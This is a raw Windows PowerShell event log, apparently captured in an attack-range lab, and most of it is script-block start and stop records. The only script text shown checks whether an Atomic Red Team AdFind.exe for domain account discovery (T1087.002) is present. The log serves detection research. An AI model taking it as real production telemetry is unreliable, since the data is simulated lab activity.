ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478408
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478407
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478406
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478403
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478402
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478400
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478399
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478398
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478396
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478395
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478394
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478393
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478392
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478389
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478388
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478387
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478384
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478381
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478379
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478378
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478375
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478374
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478373
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478370
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478369
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478368
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 611a4612-f1ad-4a8f-87cf-9441e37e20e9
Runspace ID: 6892b3d0-9740-4a0c-bb11-9e3a43297d90
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478365
Keywords=None
Message=Completed invocation of ScriptBlock ID: b4f90bf5-589e-4a5d-9625-d15f2bba9e1b
Runspace ID: 6892b3d0-9740-4a0c-bb11-9e3a43297d90
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478364
Keywords=None
Message=Completed invocation of ScriptBlock ID: a130534c-74c1-4a5f-a332-1137b60c8def
Runspace ID: 6892b3d0-9740-4a0c-bb11-9e3a43297d90
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478363
Keywords=None
Message=Started invocation of ScriptBlock ID: a130534c-74c1-4a5f-a332-1137b60c8def
Runspace ID: 6892b3d0-9740-4a0c-bb11-9e3a43297d90
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478362
Keywords=None
Message=Started invocation of ScriptBlock ID: b4f90bf5-589e-4a5d-9625-d15f2bba9e1b
Runspace ID: 6892b3d0-9740-4a0c-bb11-9e3a43297d90
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478361
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: b4f90bf5-589e-4a5d-9625-d15f2bba9e1b
Path:
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478360
Keywords=None
Message=Started invocation of ScriptBlock ID: 611a4612-f1ad-4a8f-87cf-9441e37e20e9
Runspace ID: 6892b3d0-9740-4a0c-bb11-9e3a43297d90
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478359
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: 611a4612-f1ad-4a8f-87cf-9441e37e20e9
Path:
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478358
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478357
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 6772 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478356
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478355
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478354
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
